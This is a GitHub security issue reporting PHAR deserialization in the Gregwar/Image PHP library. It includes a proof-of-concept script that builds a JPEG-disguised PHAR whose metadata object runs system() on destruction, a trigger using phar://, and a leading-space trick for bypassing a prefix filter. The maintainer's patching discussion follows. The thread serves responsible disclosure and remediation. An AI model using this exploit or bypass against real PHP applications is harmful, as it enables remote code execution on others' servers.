Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Security] PHAR deserialization allowing remote code execution #193

Open
tusoar opened this issue Sep 23, 2024 · 11 comments
Open

[Security] PHAR deserialization allowing remote code execution #193

tusoar opened this issue Sep 23, 2024 · 11 comments

Comments

@tusoar
Copy link

tusoar commented Sep 23, 2024

PHAR deserialization allowing remote code execution

Description

Gregwar\Image is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when Gregwar\Image is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If the user can control the input file and protocol during the image conversion , it will invoke deserialization.

Proof of Concept (PoC)

there is a vulnerable example with : GD.php

GD.php line 610~617

protected function openJpeg($file)
    {
        if (file_exists($file) && filesize($file)) {
            $this->resource = @imagecreatefromjpeg($file);
        } else {
            $this->resource = false;
        }
    }
  • You can see there's a file_exists function, and when we pass in a JPEG file, it gets triggered.
  • However, in the implementation method of File.php, if we pass in a file other than JPEG, PNG, GIF, or WebP, the program will still automatically set the type to JPEG for us.

File.php line 29~61

     public function guessType()
    {
        if (function_exists('exif_imagetype')) {
            $type = @exif_imagetype($this->file);

            if (false !== $type) {
                if ($type == IMAGETYPE_JPEG) {
                    return 'jpeg';
                }

                if ($type == IMAGETYPE_GIF) {
                    return 'gif';
                }

                if ($type == IMAGETYPE_PNG) {
                    return 'png';
                }

                if ($type == IMAGETYPE_WEBP) {
                    return 'webp';
                }
            }
        }

        $parts = explode('.', $this->file);
        $ext = strtolower($parts[count($parts) - 1]);

        if (isset(Image::$types[$ext])) {
            return Image::$types[$ext];
        }

        return 'jpeg';
    }
  • Thus, we create the PHAR file like this.

create_phar.php

<?php

class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this->data = $data;
	}
	
	function __destruct() {
		system($this->data);
	}
}

// create new Phar
$phar = new Phar('poc.phar');
$phar->startBuffering();
$phar->addFromString('poc.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
root@192a018e0acc:/var/www/html# php --define phar.readonly=0 create_phar.php

We obtain the file.:
image

  • And we setup the following code in /var/www/html: vuln.php represents our use of gregwar/image functions and poc.php represents code with a vulnerable POP chain.

poc.php

<?php
class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this->data = $data;
	}
	
	function __destruct() {
		system($this->data);
	}
}

vuln.php

<?php

    require_once 'vendor/autoload.php';

    include 'poc.php';

    use Gregwar\Image\Image;

    Image::open('phar://poc.phar/')
        ->resize(500, 500)
        ->save('out.png', 'png');
  • And execute vuln.php with php vuln.php, you should see whoami being executed

image
or
image

Mitigation

  • Add a whitelist to enhance input validation.

Reference

https:/Gregwar/Image/tree/master
https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization

@Gregwar
Copy link
Owner

Gregwar commented Sep 23, 2024

Hello,

Is this addressed by https://wiki.php.net/rfc/phar_stop_autoloading_metadata ? What version of PHP did you target for your POC ?

I believe we can safely add some extra checks, since I believe reading images from PHAR archives doesn't seems very useful in legit applications

@Gregwar
Copy link
Owner

Gregwar commented Sep 23, 2024

(I am running 8.1 and was not able to reproduce the POC)

@tusoar
Copy link
Author

tusoar commented Sep 23, 2024

Hello, starting from PHP version 8, the phar wrapper can no longer be used. You need to use a version of PHP earlier than 8 to complete this.

https://php.watch/versions/8.0/phar-stream-wrapper-unserialize

If you need the environment, I can send it to you via Gmail.

@tusoar
Copy link
Author

tusoar commented Sep 23, 2024

Hello,

Is this addressed by https://wiki.php.net/rfc/phar_stop_autoloading_metadata ? What version of PHP did you target for your POC ?

I believe we can safely add some extra checks, since I believe reading images from PHAR archives doesn't seems very useful in legit applications

You can update your project’s installation requirements to PHP >= 8.1.

Gregwar added a commit that referenced this issue Sep 23, 2024
@Gregwar
Copy link
Owner

Gregwar commented Sep 23, 2024

Just pushed an update to ignore PHARs on master.
If it fixes your POC, I can release a new minor version and update ImageBundle as well

@Gregwar
Copy link
Owner

Gregwar commented Sep 23, 2024

Hello,
Is this addressed by https://wiki.php.net/rfc/phar_stop_autoloading_metadata ? What version of PHP did you target for your POC ?
I believe we can safely add some extra checks, since I believe reading images from PHAR archives doesn't seems very useful in legit applications

You can update your project’s installation requirements to PHP >= 8.1.

I am actually not sure.
I believe that would be another option, the only problem I see is preventing users from loading images from a PHAR. I don't know whether it is a common use case or not.

@tusoar
Copy link
Author

tusoar commented Sep 23, 2024

I strongly recommend implementing a whitelist for checks (only allowing approved file extensions for processing), and adding the requirement of PHP >= 8.1. This is because blacklist methods are easily bypassed. For example:

public static function isPhar($file)
{
    return substr(strtolower($file), 0, 7) === 'phar://';
}

This code can easily be bypassed by inputting ' phar://' (with a leading space).

@Gregwar
Copy link
Owner

Gregwar commented Sep 23, 2024

And phar:// is a valid protocol ?

@Gregwar
Copy link
Owner

Gregwar commented Sep 23, 2024

I added a trim around the filename in another commit

@tusoar
Copy link
Author

tusoar commented Sep 23, 2024

And phar:// is a valid protocol ?

Yes, I used this trick to bypass the checks for other projects.

@tusoar
Copy link
Author

tusoar commented Sep 23, 2024

I also hope to remove the "return jpeg" from guesstype so that we can reject invalid file extensions.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants